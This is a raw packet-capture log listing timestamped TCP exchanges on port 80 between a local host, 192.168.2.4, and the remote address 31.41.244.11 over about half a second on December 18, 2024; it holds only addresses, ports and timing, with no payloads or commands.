Dec 18, 2024 17:08:10.120110989 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.120167971 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.124851942 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.124911070 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.124943018 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.124967098 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.129333973 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.129400969 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.129503965 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.129563093 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.134097099 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.134162903 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.134243011 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.134303093 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.138741016 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.138793945 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.138875961 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.138928890 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.143435955 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.143496037 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.143578053 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.143635988 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.148109913 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.148174047 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.148241043 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.148296118 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.152796984 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.152859926 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.152945042 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.152998924 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.156557083 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.156619072 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.156671047 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.156724930 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.160200119 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.160269022 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.160294056 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.160331011 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.164180040 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.164243937 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.164313078 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.164375067 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.167473078 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.167512894 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.167531013 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.167557001 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.171063900 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.171137094 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.171299934 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.171355009 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.174724102 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.174788952 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.174828053 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.174875021 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.178699970 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.178761959 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.284521103 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.284641027 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.284674883 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.284735918 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.286015987 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.286097050 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.286179066 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.286232948 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.288857937 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.288947105 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.288995028 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.289057016 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.291737080 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.291801929 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.291954994 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.292009115 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.294605017 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.294663906 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.294730902 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.294785976 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.297550917 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.297679901 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.297734022 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.297734022 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.300307989 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.300362110 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.300430059 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.300483942 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.302963972 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.303023100 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.303132057 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.303180933 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.305696964 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.305759907 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.305828094 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.305887938 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.308263063 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.308325052 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.308393955 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.308454990 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.310796976 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.310856104 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.310910940 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.310966015 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.313374996 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.313427925 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.313483953 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.313539028 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.316019058 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.316076040 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.316157103 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.316206932 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.318738937 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.318798065 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.318836927 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.318891048 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.321295023 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.321353912 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.321388006 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.321441889 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.323921919 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.323976994 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.324069023 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.324124098 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.326622963 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.326688051 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.326780081 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.326829910 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.329425097 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.329493046 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.329577923 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.329629898 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.331868887 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.331921101 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.331991911 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.332037926 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.334666014 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.334722042 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.334788084 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.334845066 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.337270021 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.337318897 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.337378025 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.337434053 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.339818954 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.339879990 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.340017080 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.340075016 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.342437983 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.342499971 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.342561007 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.342616081 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.345376015 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.345429897 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.345485926 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.345541954 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.347789049 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.347841024 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.347908020 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.347964048 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.350532055 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.350588083 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.350655079 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.350712061 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.353104115 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.353162050 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.353493929 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.353549004 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.355654955 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.355712891 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.355782032 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.355839968 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.358361006 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.358465910 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.358532906 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.358623028 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.361049891 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.361109018 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.361195087 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.361246109 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.363801956 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.363868952 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.363898039 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.363950968 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.366264105 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.366312981 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.366502047 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.366558075 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.369028091 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.369077921 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.369276047 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.369323015 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.371628046 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.371684074 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.371743917 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.371794939 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.374248028 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.374300003 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.374377966 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.374430895 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.376852036 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.376909971 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.377043962 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.377095938 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.379601002 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.379656076 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.379791975 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.379843950 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.382110119 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.382168055 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.476612091 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.476684093 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.476727962 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.476772070 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.477690935 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.477741003 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.477797985 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.477843046 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.479902029 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.479970932 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.480032921 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.480082989 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.482126951 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.482182980 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.482251883 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.482297897 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.484395027 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.484456062 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.484558105 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.484606981 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.486502886 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.486557961 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.486625910 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.486673117 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.488662004 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.488713026 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.488812923 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.488861084 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.490715027 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.490767002 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.490830898 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.490879059 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.492799997 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.492845058 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.492912054 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.492964983 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.495198011 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.495254040 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.496552944 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.496746063 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.500871897 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.500910044 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.500927925 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.500956059 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.502382994 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.502439022 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.502506971 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.502554893 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.502685070 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.502728939 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.502736092 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.502782106 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.503053904 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.503096104 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.503161907 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.503209114 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.505110025 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.505161047 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.505247116 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.505295992 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.507162094 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.507215977 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.507298946 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.507342100 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.511888027 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.511941910 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.513442993 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.513487101 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.514386892 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.514436960 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.514439106 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.514482975 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.514561892 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.514595985 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.514616013 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.514642000 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.515602112 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.515650034 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.515716076 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.515769958 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.517433882 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.517483950 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.517581940 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.517631054 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.519567966 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.519614935 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.519671917 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.519721031 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.521601915 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.521648884 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.521656990 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.521698952 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.523838997 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.523885965 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.523967028 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.524019957 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.525751114 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.525804996 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.525863886 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.525907040 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.527714968 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.527761936 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.527836084 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.527885914 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.529844999 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.529887915 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.530050993 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.530102015 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.537060022 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.537108898 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.537111044 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.537153006 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.537503958 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.537554026 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.537786007 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.537833929 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.539493084 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.539541006 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.539618015 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.539674044 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.540060997 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.540095091 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.540117979 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.540132046 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.540138006 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.540168047 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.540177107 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.540214062 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.542102098 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.542159081 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.542244911 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.542289972 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.544398069 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.544447899 CET	49749	80	192.168.2.4	31.41.244.11
